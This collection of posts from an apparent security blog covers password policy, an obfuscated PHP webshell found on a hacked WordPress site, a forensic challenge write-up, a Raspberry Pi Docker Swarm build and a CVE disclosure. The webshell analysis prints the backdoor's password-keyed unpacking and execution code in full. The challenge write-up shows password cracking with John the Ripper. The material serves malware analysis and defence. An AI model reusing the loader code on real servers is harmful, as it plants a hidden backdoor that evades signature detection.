Passphrase or Complex Passwords?

I like healthy debate, if I am wrong then I encourage my colleagues and others to explain in detail as to why my thoughts on a particular matter/subject are incorrect and often this causes a somewhat extensive back and forth until a consensus is reached on the issue being discussed.

So one such discussion over the last couple of days has been over password complexity vs pass-phrases, not to be confused with password length let me make that point clear.

So let me give you some examples

Complexity

  • 14 characters or more
  • 2 uppercase letters
  • 2 numerical digits
  • 2 ‘special’ characters

A typical example of a password policy with complexity requirements and fairly typical of most standards out there right ?

The problem of the human

So let’s explore this a little, and discuss some of the issues. Here’s an example of a “compliant” password

CompanyPassword2017!$

  1. 21 characters (compliant)
  2. 2 uppercase characters (compliant)
  3. 4 numerical digits (compliant)
  4. 2 special characters (compliant)

The password is compliant with policy and as such is not a problem … right ?

Well if you’ve read anything on my blog before you’ll know the answer is no there is still a problem.

  1. This password contains the company name (I used Company to keep thing generic so use a little imagination this represents a company name).
  2. This password contains the word Password (still better than 123456 though ;-) )
  3. This password contains the current year (this happens WAY more often that you would think, remember 123456 was the most used password in 2016)
  4. This password has had the special chars appended to the end (typical human typographical behavior, the the password first and have the requirements as an after thought)

The problem is human behavior, and in the english language at least this is predictable behavior allowing for pattern analysis or behavioral analysis attacks to be carried out.

  1. Capitalizing the first or each word (Camelcase)
  2. Using company or password or service related words to make the password more memorable (not everyone uses a password manager, so these little cheats to aid memory can be predicted)
  3. Using the current year at the end of the password
  4. Appending the special char requirements at the end of the password (this allows someone to quickly enter the first part before they have to think about the end part of the password).

I’m speaking in generalizations, if you do not do any of this then great! Use a word list throw a dice to decide the password ;-) …

The downfall here is with a complexity requirement is poor choices of passwords and this is most prevalent where the target individual does not use a password manager and the password generation feature.

Note: This is not a bashing of p:eople not using password managers, password managers have their own issues (just see examples from Travis Ormandy or Dan Tentler) so please bare with me until the end I am simply speaking about human behavior being predictable of which MANY studies are available to back this up).

Pass-phrases

If you do not know what a pass-phrase is then go take a look at this, I’ll wait …

Oh you’re back? good did you review the XKCD comic in full ? Excellent let’s continue then.

A pass-phrase is a series of words used ideally with a separating character (I will recommend using a space instead of a dash!) for example

Peter Piper Picked A Peck Of Pickled Peppers 2017 $!

  1. 52 characters (compliant)
  2. 8 uppercase (compliant)
  3. 4 numerical digits (compliant)
  4. 11 special characters (compliant)

Q: Wait ?! I only see 2 special characters, your count is off! A: Actually I counted the spaces; as space is a special character.

Both look fine to me, wth are you talking about ?!

Precisely that, both are acceptable provided they follow the same basic guidelines, no you can not sacrifice complexity for a longer password perhaps I should explain more

peter piper picked a peck of pickled peppers

Some may argue that a longer password removes the need for complexity which is simply not the case as this pass-phrase has lowered the address space considerably.

WTF is an address space, and what has it got to do with my password ?

WARNING here be math …

The address space is the total addressable character set for any given password for example

  1. a through z ([a-z]) would be 26 possible characters
  2. a through Z ([a-Z]) would be 52
  3. a through 9 ([a-Z][0-9]) would be 62

And so on, so to evaluate when brute forcing (iterating every single possible combination) a password the math becomes as follows.

  1. password is 58 characters
  2. password is comprised of only lowercase and space separation 58^27 == 4.0978x10^47 possible combinations (53 == 52 + space)

How about throwing in some complexity ?

  1. password is 58 characters
  2. password uses a through 9 (this includes captilized letters)

58^63 == 1.2472789544046017 x 10^111

Which may not seem like a huge difference until you work out that the former non complex address space is 3.2853 x 10^-67% of the size of the complex address space.

Why should I care really ? I have a long password it’ll take many years to brute force it

Yes you’re correct, but you’re also wrong. Brute force is not the only attack you can carry out, let’s use the example from before

  1. password is 58 characters
  2. password is comprised of only lowercase and space separation 58^27 == 4.0978x10^47 possible combinations
  3. We know this is a pass-phrase, so it’s likely each part of said phrase uses complete words.
  4. We know the target uses the english language
  5. The english language has approximately 171,476 words this is by FAR much less than 4.09785x10^47

171476 is 4.1845 x 10^-43% of the address space when compared with the full size of the bruteforceable address space, as such when looking at possible combinations, start to factor in other human factors such as poor word choice (names, places, colours etc …) and you reduce the address space even further.

The problem is choice to throw a quick pun in here (and an obligatory matrix reference).

Note This is all ‘napkin math’ so please forgive me if I am wrong anywhere, and note it in the comments so I can fix in the post ;-)

Update: corrected napkin math 2017-05-05 password example assumed a-Z where as example given was a-z corrected the math to account for a-z as intended.

Update2: corrected napkin math AGAIN 2017-05-24

Conclusion

Password complexity is no stronger than pass-phrase with complexity, if you manage / are authoring a policy on password security then remember the following quote

“Security at the expense of usability comes at the expense of security” otherwise known as AviD’s Rule of Usability.

  1. Any policy must be simple to understand
  2. Any policy must be simple to execute

In order to gain the expected result, otherwise you’re going to get users whom develop poor habits and choose poor-passwords.

Not everyone wants to use a password-manager some people are even fearful of storing all their passwords in a single repository, there is no one solution here but there is the management of how each available option can be used.

N.B

Think I got something wrong or have strong opinions on something ?

Please put your thoughts into a comment, again I encourage debate so please include as much information as you can in your argument.

Highly Obfusticated PHP Webshell

If there’s one thing to be said for Wordpress blogs, it’s that users rarely seem to understand than keeping things up to date is really going to stop them from getting owned 9/10 times.

So if you take one thing away from this post please make sure it’s:

  1. KEEP YOUR WORDPRESS INSTALL UP TO DATE
  2. KEEP ALL YOUR WORDPRESS PLUGINS UP TO DATE

Simple enough right? You would have thought so, but of course this isn’t a “cure all” and there’s other vulnerabilites and mitigations to consider; but not for this post.

RFU

Remote File Upload.

So the site in question had a plugin which was out of date. This plugin had a RFU vulnerability which allowed attackers to upload arbitrary code files then head to

https://thesite.com/wp-content/pluginname/uploadedfile.php

To execute the attack.

Standard, boring crap right ?

Well this post isn’t to focus on how it happened, nor why it happed.

Simply put the php file itself I found very interesting.

PHP Code obfustication

Sure, code obfustication is nothing new. Heck tools like msfvenom allow you to choose from a variety of obfustication methods the premis for which is to avoid signatures for “known bad” files, and thus avoid common signatures (which is why you should not rely solely on signature bases analysis).

The thing is the overwhelming majority of webshell obfustication is done through “packing”, you’ll see it use base64, gzinflate, eval and that’s a pretty common standard.

Not this little bastard, and that’s why this got my attention

Head of the file:

1
2
3
4
5
6
7
8
9
10
<?php $wp__wp='base'.(32*2).'_de'.'code';$wp__wp=$wp__wp(str_replace("\n", '', 'QOC7sj/9Bh8g6EJWtzJjaKUSdpGj/VzFUKzIhEUBQzNS4Il8OaZdAcKdt4ix0eWNniRKnvuBmTO2W39H
d7VmyCL7+MB1t1eOa8wWJiYQqisMKzcIhXvmOdkg4LTsDk6HIm+rsjD2nlcBpGKNVW+/irhPtk6zlOIq
aUVBxVWCJ7CT30ogudYn0spol2MwyvBRWJHwaKlKY3bYQ39LodSJUGhlB3tJAMiAvCMLpWp91UHt+Ukm
aHypp+OTC9oWJSwpwALTqIX+z2Yetp8r3RRBf2JYPiUtxuuEsxi4lIGM477sPiLqhFJLI7wiV35oyUJJ
G9Zv4OWsozkEARLUEBqKlxlH21b0+Sv568ea9hMD/JhLLx7TeG3wsqfHQ5yxIY2GTHHq9eT3yeGCteT4
xprMpl7rNcEtG1b6Ez9SSsbG61fEHg4ozeVVyrEPlDscsyXlhysW2kDf1CLg0URWuW7GsiJ2xPsyG+RX
ctsM+8t+W4nbM1AyuxSQv03OoA3R0sGLeicrm41VByDI0lDlwfmwq1K1jT2KsXD60BA/PDs2FBB9IfhJ
awK1/tFiGbi+G/gb9KLEzrr8ZCgkTqH8RWJ/avnDbK/DMBy5rZzVU/VEFNaRTVyN5lBxphQ6nJpT9vM5
Z5Cu7f8PYmaBthyP3iqZk/ur0i1+64uyYe9XaiXkORQ/F90DEaY0m3MAxIptHs8lQMclnoIX27gTJnAv
NpcyJgsM5Z8w/6dApQTxWU4/iA+QIKZATqlKYDpuScahCgOIlenxBhEsjB7s2mpG82vcs+/FoxuobVLZ

Well, that’s … Interesting

Tail of the file

1
'));$wp_wp=isset($_POST['wp_wp'])?$_POST['wp_wp']:(isset($_COOKIE['wp_wp'])?$_COOKIE['wp_wp']:NULL);if($wp_wp!==NULL){$wp_wp=md5($wp_wp).substr(md5(strrev($wp_wp)),0,strlen($wp_wp));for($wp___wp=0;$wp___wp<15324;$wp___wp++){$wp__wp[$wp___wp]=chr(( ord($wp__wp[$wp___wp])-ord($wp_wp[$wp___wp]))%256);$wp_wp.=$wp__wp[$wp___wp];}if([email protected]($wp__wp)){if(isset($_POST['wp_wp']))@setcookie('wp_wp', $_POST['wp_wp']);$wp___wp=create_function('',$wp__wp);unset($wp__wp,$wp_wp);$wp___wp();}}?><form action="" method="post"><input type="text" name="wp_wp" value=""/><input type="submit" value="&gt;"/></form>

Long string is loooooooong …

So first it’s a base64 encoded string; we know this due to the first line of code which is doing some signature evasion itself.

1
$wp__wp='base'.(32*2).'_de'.'code';

Which of course yields ‘base64_decode’

So then the next line

1
$wp__wp=$wp__wp(str_replace("\n", '', 'QOC7

Is really:

1
$wp__wp=base64_decode(<payload>)

So let’s use some python …

1
2
3
4
5
6
7
>>> payload="""QOC7s...""".replace("\n","")
>>> len(payload)
20432
>>> from base64 import b64decode
>>> b64decode(payload)
'@\xe0\xbb\xb2?\xfd\x06\x1f
...

So we have some raw intelligibile data, the WTF continues …

So what now?

Let’s look at the tail of the file again it’s doing some additional processing let’s add some whitespace and comments to make it readable

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
//Ternary if statements
//if we have the password in the POST or COOKIE var set $wp_wp to this. If not set $wp_wp to null
$wp_wp = isset($_POST['wp_wp']) ? $_POST['wp_wp'] : (isset($_COOKIE['wp_wp']) ? $_COOKIE['wp_wp'] : NULL);

//If wp_wp is not NULL (so we have a password set from the above)
if( $wp_wp !== NULL ) {
    //mutate the var
    $wp_wp = md5($wp_wp).substr(md5(strrev($wp_wp)),0,strlen($wp_wp));
    //assuming: test123 as the password.
    /*
     * php -r '$wp_wp = "test123"; $wp_wp = md5($wp_wp).substr(md5(strrev($wp_wp)),0,strlen($wp_wp)); echo $wp_wp;'
     * cc03e747a6afbbcbf8be7668acfebee56a54720
     */ 
   
    //wp___wp is just an integer itterator, for for readability I'm substituting this for $i 
    for( $i = 0; $i < 15324; $i++){
        //wp__wp is the payload so I'm renaming this also to $payload
        //each char is unpacked by the following line
        $payload[$i] = chr(( ord($payload[$i]) - ord($wp_wp[$i])) % 256);
        //this is then appended to wp_wp (which is the password)
        $wp_wp .= $payload[$i];
    }
  
    if ( $payload = @gzinflate($payload)) {
        if( isset($_POST['wp_wp']) ) @setcookie('wp_wp', $_POST['wp_wp']);
        //recall this line from above: $wp__wp='base'.(32*2).'_de'.'code'
        //$i therefor is base64_decode(<unpacked payload>);
        $i = create_function('',$payload);
        unset($payload,$wp_wp);
        $i();
    }
}?>
<form action="" method="post"><input type="text" name="wp_wp" value=""/><input type="submit" value="&gt;"/></form>

I suppose we could go the python route again, however as we’ve discerned the function (loop unpack payload -> create_function -> execute function), we can “disarm” it to instead echo out the unpacked code for further analysis.

So the file with the required modifications …

1
2
3
4
5
6
7
8
9
10
11
12
13
14
257c257,266
< '));$wp_wp=isset($_POST['wp_wp'])?$_POST['wp_wp']:(isset($_COOKIE['wp_wp'])?$_COOKIE['wp_wp']:NULL);if($wp_wp!==NULL){$wp_wp=md5($wp_wp).substr(md5(strrev($wp_wp)),0,strlen($wp_wp));for($wp___wp=0;$wp___wp<15324;$wp___wp++){$wp__wp[$wp___wp]=chr(( ord($wp__wp[$wp___wp])-ord($wp_wp[$wp___wp]))%256);$wp_wp.=$wp__wp[$wp___wp];}if([email protected]($wp__wp)){if(isset($_POST['wp_wp']))@setcookie('wp_wp', $_POST['wp_wp']);$wp___wp=create_function('',$wp__wp);unset($wp__wp,$wp_wp);$wp___wp();}}?><form action="" method="post"><input type="text" name="wp_wp" value=""/><input type="submit" value="&gt;"/></form>
\ No newline at end of file
---
> '));
> 
> $_POST['wp_wp'] = "test123";
> $wp_wp=isset($_POST['wp_wp'])?$_POST['wp_wp']:(isset($_COOKIE['wp_wp'])?$_COOKIE['wp_wp']:NULL);
> if($wp_wp!==NULL){$wp_wp=md5($wp_wp).substr(md5(strrev($wp_wp)),0,strlen($wp_wp));for($wp___wp=0;$wp___wp<15324;$wp___wp++){$wp__wp[$wp___wp]=chr(( ord($wp__wp[$wp___wp])-ord($wp_wp[$wp___wp]))%256);$wp_wp.=$wp__wp[$wp___wp];}if([email protected]($wp__wp)){if(isset($_POST['wp_wp']))@setcookie('wp_wp', $_POST['wp_wp']);
> //$wp___wp=create_function('',$wp__wp);unset($wp__wp,$wp_wp);
> //$wp___wp();
> echo $wp__wp;
> 
> }}?><form action="" method="post"><input type="text" name="wp_wp" value=""/><input type="submit" value="&gt;"/></form>

The resulting payload starts off as

1
2
3
4
@ini_set('log_errors_max_len',0);@ini_restore('log_errors');@ini_restore('error_log');@ini_restore('error_reporting');@ini_set('log_errors',0);@ini_set('error_log',NULL);@ini_set('error_reporting',NULL);@error_
reporting(0);@ini_set('max_execution_time',0);@set_time_limit(0);@ignore_user_abort(TRUE);@ini_set('memory_limit','1000M');@ini_set('file_uploads',1);@ini_restore('magic_quotes_runtime');@ini_restore('magic_quot
es_sybase');
...

And continues to create a webshell interface.

So what?

Granted this may be viewed as little more than a geeks curiosity, however on a more serious note the main intriguing element of this webshell is that the password is an intrinsic part required to unpack the valid payload.

Without the password the unpack will fail; so consider if

1
$wp__wp='base'.(32*2).'_de'.'code';

Was instead moved to reside inside the packed payload, how would you possibly be able to begin to write a signature for such a file?

Fuzzy logic sure, look for long strings of seemingly random content, still I can see that’s going to run false positives in the masses given the various obfusticating options out there for php such as those that require licensing …

Mitigation ?

  1. SELinux set ON, will limit what the web server process can access (it’s not going to stop it getting access to your database servers, and if you have httpd_can_network_connect set to true, it’s not going to stop it creating a reverse shell either, check out httpd_can_connect_db to maintain web app functionality but make it harder for attackers)
  2. KEEP UP TO DATE WITH PATCHES, Web application, system packages … patch all the things!
  3. WAF and/or IPS (inspect POST & GET, for SQL, known shell commands and block (will not prevent file download / upload))
  4. PHP disable_functions (I covered this back in 2008, cyberciti has a good write up)
Comments

NCA Challenge 2015 Progress Writeup

NOTE I was unable to complete the challenge ahead of the 18th of July deadline due to other commitments, what follows is a write up of my progress in the challenge after ~6hrs total spent.

On watching the video noted 299879 as the evidence id on the bag, this may be relevant later.

Unzip nca_image.zip

Yields nca_image.bin, let’s use binwalk to analyse the file

1
2
3
4
5
6
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
7995373       0x79FFED        Cisco IOS microcode for "l"
95256215      0x5AD7E97       Zip archive data, at least v2.0 to extract, compressed size: 3790080,  uncompressed size: 3799842, name: "e-mail.docx"
99046429      0x5E7541D       End of Zip archive
191886470     0xB6FF486       QEMU QCOW Image

On using binwalk -e everything except the identified QCOW image is extracted, so using my helper script

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/bash

echo -n "Can haz start offset hex?:"
read start_off
echo -n "Can haz end offset hex?:"
read end_off

start_int=`echo "ibase=16;${start_off}" | bc`
end_int=`echo "ibase=16;${end_off}" | bc`
chunk_int=`echo "${end_int} - ${start_int}" | bc`

echo "It's not safe to go alone, here take this: dd if=/path/to/space/kitteh of=/path/to/space/kitteh_part skip=${start_int} bs=1 count=${chunk_int}"

We manually carve the file out

1
2
3
4
file_carve_dd_calc 
Can haz start offset hex?:B6FF486
Can haz end offset hex?:C6ED5F0
It's not safe to go alone, here take this: dd if=/path/to/space/kitteh of=/path/to/space/kitteh_part skip=191886470 bs=1 count=16703850

Trying to analyse the QCOW file using

  1. guestfish
  2. qemu-* tools (even pulled down the latests source and compiled)

Ultimately this appears to be a false identification, opening up the file in bless noted many occurences of the QFI header associated with a qcow image, and errors such as

1
2
... not supported by this qemu version: QCOW version 3330981897
... not supported by this qemu version: QCOW version -963985399

Variant on the version of qemu being run, means I move onto analysing the rest of the extracted files.

email.docx

Opening the file (which I did on a tails VM to err on the side of caution, citing paranoia over potential for some macros), notes what appears to be a raw email complete with headers.

And an embedded oleObject

So I unzip the .dox file and again use binwalk to inspect the file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
unzip e-mail.docx
Archive:  e-mail.docx
  inflating: [Content_Types].xml     
  inflating: _rels/.rels             
  inflating: word/_rels/document.xml.rels  
  inflating: word/document.xml       
  inflating: word/footnotes.xml      
  inflating: word/footer3.xml        
  inflating: word/footer2.xml        
  inflating: word/footer1.xml        
  inflating: word/header2.xml        
  inflating: word/header3.xml        
  inflating: word/header1.xml        
  inflating: word/endnotes.xml       
  inflating: word/embeddings/oleObject1.bin  
  inflating: word/theme/theme1.xml   
  inflating: word/media/image1.emf   
  inflating: word/settings.xml       
  inflating: word/fontTable.xml      
  inflating: word/webSettings.xml    
  inflating: docProps/app.xml        
  inflating: docProps/core.xml       
  inflating: word/styles.xml   

binwalk word/embeddings/oleObject1.bin

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
38019         0x9483          Zip encrypted archive data, compressed size: 2391816,  uncompressed size: 2960344, name: "fl46.wav"
2429884       0x2513BC        Zip encrypted archive data, compressed size: 1536,  uncompressed size: 1958, name: "my_key.asc"
2431471       0x2519EF        Zip encrypted archive data, compressed size: 1373482,  uncompressed size: 1373454, name: "usb_key.gpg"
3805313       0x3A1081        End of Zip archive

encrypted zip

binwalk has provided us with information showing this is an encrypted archive containing thress files, so its needed to extract the zip file and break the encryption to get at the files within.

1
2
3
4
5
6
7
8
9
 zipinfo T0PS3RET.zip 
Archive:  T0PS3RET.zip
Zip file size: 3767679 bytes, number of entries: 3
warning [T0PS3RET.zip]:  131 extra bytes at beginning or within zipfile
  (attempting to process anyway)
-rw-a--     6.3 fat  2960344 Bx u099 15-Jun-23 11:26 fl46.wav
-rw-a--     6.3 fat     1958 Bx u099 07-Feb-06 15:21 my_key.asc
-rw-a--     6.3 fat  1373454 Bx u099 07-Feb-06 15:19 usb_key.gpg
3 files, 4335756 bytes uncompressed, 3766798 bytes compressed:  13.1%

Running strings on the file also notes the following which may be of use later as it indicates the user “JAMIEH”

Z:\CSC-Final-Revision\Final ‘e-mail’\T0PS3RET.zip C:\Users\JAMIEH~1\AppData\Local\Temp\T0PS3RET.zip

Ok let’s john this bastard

1
2
3
4
JohnTheRipper/run/zip2john ./T0PS3RET.zip > T0PS3RET.hashes
JohnTheRipper/run/john ./T0PS3RET.hashes --show

T0PS3RET.zip:flower:::::T0PS3RET.zip

wav and gpg files

So now we have three files.

  1. fl46.wav - which upon listening to this is clearly DTMF tones followed by a modem handshake
  2. my_key.asc - a private GPG key
  3. usb_key.gpg - an encrypted GPG payload

I setup John to start brute forcing the gpg key password whilst inspecting the other files; think of it as an efficent workflow we may not need the bruteforce however there’s no harm in having it run whilst we continue the investigation

1
JohnTheRipper/run/gpg2john -S my_key.asc > my_key.asc.hashes

Listening to the wav file in vlc this is clearly DTMF tones and a modem handshake, using multimon I can extract the numbers associated with the DTMF tones.

1
multimon-ng -t wav fl46.wav

On this first pass there is some odd behaviour occuring, some numbers are being repeated and some appear to be being skipped, opening the wav file in audacity reveals the issue.

The wave file is stereo meaning there is both a left and right channel, observing the pattern above it’s clear this is an 11 didgit telephone number, we “flatten” the file to mono and run it through multimon again

1
2
3
4
5
6
7
8
9
10
11
12
13
multimon-ng -t wav fl46.wav
DTMF: 0
DTMF: 7
DTMF: 4
DTMF: 8
DTMF: 2
DTMF: 3
DTMF: 5
DTMF: 1
DTMF: 2
DTMF: 4
DTMF: 9
DTMF: *

Whilst it was not needed it’s worth noting that sox can be used to convert to a multimon native format

1
sox -t wav fl46-mono.wav -esigned-integer -b16 -r 22050 -t raw fl46-mono.raw

Calling the number (via an anonymized service of course) yeilds a very faint voice reading numbers aloud, this is why having the call recording prior to dialing is such an advantage; some post processing to raise the volume and carefull listening yields: 533020565

usb_key.gpg

The numbers are indeed the gpg key password

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
gpg -d usb_key.gpg > usb_key.img

You need a passphrase to unlock the secret key for
user: "Black Oleander Top Secret <[email protected]>"
2048-bit RSA key, ID C96C8291, created 2015-06-16

gpg: encrypted with 2048-bit RSA key, ID C96C8291, created 2015-06-16
      "Black Oleander Top Secret <[email protected]>"

usb_key.img 

file -i usb_key.img
usb_key.img: application/x-tar; charset=binary

tar -xvf ./usb_key.img
Formula.docx
Ledger.xlsx
X101D4.docm
Charles.pptm

binwalk usb_key.img 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             POSIX tar archive, owner user name: "root", owner group name: "root"

Charles.pptm

2 slide presentation First slide “It is not the strongest of the species that survives, but the more adaptable”, background portrait of Charles darwin, oleEmbbeded file “TransferCode.zip.001” could infer multipart zip

1
2
3
4
5
6
7
As noted before ppt/embeddings/oleObject1.bin

Slightly odd however ...

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
4247          0x1097          Zip archive data, at least v2.0 to extract, compressed size: 977930,  uncompressed size: 1070767, name: "TransferCode.pdf"

running binalk -e produxes the .zip and the .pdf file, the .pdf file is unreadable as it is incomplete therefor we know that this zip file is the head of a multipart archive.

Now I have TransferCode.zip.001

Formula.docx

Embbeded images showing a formula TransferCode.zip.002, ok yup looking like multipart zip Google image search “The Drake Equation” also “The Equation of Life” 2014 film

Found the following strings

C:\Users\Jamie H\AppData\Local\Microsoft\Windows\INetCache\Content.Word\TransferCode.zip.002 C:\Users\JAMIEH~1\AppData\Local\Temp\TransferCode.zip.002

Now I have TransferCode.zip.002

Ledger.xslx

Account numbers many 25000 transfers descriptions may be erroneous, “cabal”, “lord” etc.

Binwalk extracted noted something interesting …

./_Ledger.xlsx.extracted/secret_hash/1902d4bfb197e0b7372fc0ec592edabbce0124845a270e4508f247e1faffecce

strings ./_Ledger.xlsx.extracted/xl/embeddings/oleObject1.bin

C:\Users\Jamie H\Documents\CSCUK-Challenge-1\Stage 2\TransferCode.zip.003 C:\Users\JAMIEH~1\AppData\Local\Temp\TransferCode.zip.003

Now I have TransferCoder.zip.003

X101D4.docm

noted VBA from strings run, large binary textx (101 etc …) another hash 13790e4b2ed8345dc51b15c833aa02a33171bd839c543819d19b41bd3962943c followed by “keep looking ;-)” Used binwalk to extract the files

strings _X101D4.docm.extracted/word/vbaProject.bin

1
2
3
4
 curl https://gist.github.com/anonymous/e13e60e1975bceb04c20 > 0wned.txt
 activate 1337 hack tool
 destroy the world
 mission complete

the gist contains file TransferCode.zip.004 in base64encoding: https://gist.githubusercontent.com/anonymous/e13e60e1975bceb04c20/raw/145cad938bd2c4391fc55f5b482625aa86dae776/gistfile1.txt

1
2
3
4
5
6
7
8
from base64 import b64decode
data = open('TransferCode.zip.004.raw)
data = data.replace("local file = TransferCode.zip.004\n'Begining of file\n",'')
data = data.replace("\n'End of File","")
raw = b64decode(data)
out = open('TransferCode.zip.004', 'wb')
out.write(data)
out.close()

The end …

Unfortunatly this is where I must end, I originally did the above work on June 30th 2015 in my evening, and was not able to pick it up again untill autoring this blog post … past the deadline, the PDF file appears to be the final stage. (Just cat the zip files togetheer and unzip to get the PDF file)

Oh well it was an interesting puzzle at least and a welcomed exercise of skills I do not nearly get to use enough.

Pi2 Cluster - Docker Swarm

I am currently working on overhauling my network and devices once again, so finally (maybe) I’ll actually get around to producing a commodity cluster, this post focuses on getting docker up and running on the RaspberryPi2

Hardware

  • 5 x RasPi2
  • 1 x Utilite Pro

Docusing on the Pi2’s here as I’ve not rebuild the utilite at this moment in time.

Installing Arch linux

Why are we using Arch and not raspbian? simply because of time constraints, Arch has ARM packages for docker (and openvswitch) and this will save sometime going on.

As I’ll be imaging multiple SD cards I wront a bash script to save some time

This assumes you have allready done the partitioning per the arch installation document

WARNING Make sure you do not blindly use my script, the device paths may be different and you do not want to be wiping out the wrong device.

Installing Docker

pacman -S docker

Caveats of docker on ARM

Most docker images are x86 or x86_64 so when you use docker pull and try to docker run you’re going to have a bad time …

1
2
docker run swarm
FATA[0001] Error response from daemon: Cannot start container caff048f6af28eca4648078ac1452b9464dcc16f5273a3b3d0912b1c00e0423f: [8] System error: exec format error

Running swarm without running swarm

The swarm docker images will not run on ARM, so what do we do ?

Simple we build the swarm binary from source

pacman -S golang godep

Check the github readme via the link above to get swarm to compile

Start the swarm

On one node go/bin/swarm create and record the token

Now on every node

1
go/bin/swarm --addr NNN.NNN.NNN.NNN:2375 token://the_token_from_create

Now we need to start the manager, this can be on any node or even on a sperate machine such as your laptop / desktop.

1
go/bin/swarm manage -H tcp://NNN.NNN.NNN.NNN:2376 token://the_token_from_create

Check the swarm

Again this can be run from any docker client.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
docker -H tcp://XXX.XXX.XXX.230:2376 info
Containers: 1
Strategy: spread
Filters: affinity, health, constraint, port, dependency
Nodes: 5
 alarmpi: XXX.XXX.XXX.227:2375
  └ Containers: 0
  └ Reserved CPUs: 0 / 4
  └ Reserved Memory: 0 B / 970.7 MiB
  └ Labels: executiondriver=native-0.2, kernelversion=3.18.14-1-ARCH, operatingsystem=Arch Linux ARM, storagedriver=aufs
 alarmpi: XXX.XXX.XXX.229:2375
  └ Containers: 0
  └ Reserved CPUs: 0 / 4
  └ Reserved Memory: 0 B / 970.7 MiB
  └ Labels: executiondriver=native-0.2, kernelversion=3.18.14-1-ARCH, operatingsystem=Arch Linux ARM, storagedriver=aufs
 alarmpi: XXX.XXX.XXX.226:2375
  └ Containers: 0
  └ Reserved CPUs: 0 / 4
  └ Reserved Memory: 0 B / 970.7 MiB
  └ Labels: executiondriver=native-0.2, kernelversion=3.18.14-1-ARCH, operatingsystem=Arch Linux ARM, storagedriver=aufs
 alarmpi: XXX.XXX.XXX.230:2375
  └ Containers: 1
  └ Reserved CPUs: 0 / 4
  └ Reserved Memory: 0 B / 970.7 MiB
  └ Labels: executiondriver=native-0.2, kernelversion=3.18.14-1-ARCH, operatingsystem=Arch Linux ARM, storagedriver=aufs
 alarmpi: XXX.XXX.XXX.228:2375
  └ Containers: 0
  └ Reserved CPUs: 0 / 4
  └ Reserved Memory: 0 B / 970.7 MiB
  └ Labels: executiondriver=native-0.2, kernelversion=3.18.14-1-ARCH, operatingsystem=Arch Linux ARM, storagedriver=aufs

So there we have it, 20 available ARM cores all running in a docker swarm, seems simple doesn’t it? finding the correct information to make this all work however was a trial in itself.

TODO

  • Rebuild utilite-pro, make part of the docker swarm (brining the core count to 24)
  • Force docker to use TLS
  • Try to get ceph compiling (throwing issues about not finding any high precision timers)
1
common/Cycles.h:76:2: error: #error No high-precision counter available for your OS/arch
1
asm volatile ("mrc p15, 0, %0, c15, c12, 1" : "=r" (cc));
  • Write up notes on getting Logstash 1.5.0 and docker on ARM to play nice together
  • Complete setup of openvswitch
  • Explore deployment of cuckoo sandbox
  • Explore Hadoop components
  • Write up notes on distccd setup (this really speeds up compilation time)
  • Write up systemd entries for swarm (allow automatic swarm cluster startup on reboot).

Photos

I’m uploading photos and screenshots of the cluster as progress is made here

Why Pi2?

We can’t all get our hands on a HP moonshot, I debated for some what to use, the Pi2 won out due to

  • Price
  • Form factor
  • No. cores
  • Readily available distros and packages
  • Readily available accessories (cases, etc..)
  • Low power consumption (5 pi2, 1 utilite-pro, mikrotik switch, USB thumbdrives, and USB HD’s, all runnign just under 33 watts)
  • ARM architecture

CVE-2015-1027 Percona-toolkit and Percona-xtrabackup

Since my move to information security architect at Percona back in November of 2014 I’ve been able to begin to curate and build a responsible disclosure program for which I hope best reflects that of a responsible open source vendor.

There is still penty to do here of course, and more is yet to come on this front.

The first public success story may be considered a minor one but I feel it is an important step toward responsible disclosure.

The blog post disclosure on percona.com may be found here and I’m hosting a plaintext version here

The initial research began 2014-12-16 at this time a functional PoC was created and distributed internally to allow the developers to test their fix this means from concept to fix (2015-01-16) took one calendar month, with percona-toolkit 2.2.13 being released 2015-01-26 and percona-xtrabackup 2.2.9 being released 2015-02-17.

So why you may as did the disclsure not occur untill 2015-05-06 ? simply put to allow user and distros to update; and frankly this was by far the hardest part trying to illict response from distros began to seem to a fruitless task.

And thus I had planned to just go ahead with the disclosure 2015-04-30, it was around this time we were contacted by the people over at oCERT regarding and entirely seperate issue CVE-2015-3152 for which you can read more about how this is looking to be addressed on Todd Farmer’s blog.

Following the interaction with oCERT (namely Andrea B), we’ve since applied for membership with oCERT and work continues on curating a responsible disclosure plan.

If you have any suggestions / comments on the progression of the responsible disclosure program I’d be glad to hear them via email to:

1
david {dot} busby {at} percona {dot} com

You can use either my gpg pubkey at keybase.io or 0x5422aa2ab636da5a

Please remember the program is still very much in its early stages as such time to disclosure are typically longer than exepect (as can be seen from CVE-2015-1027).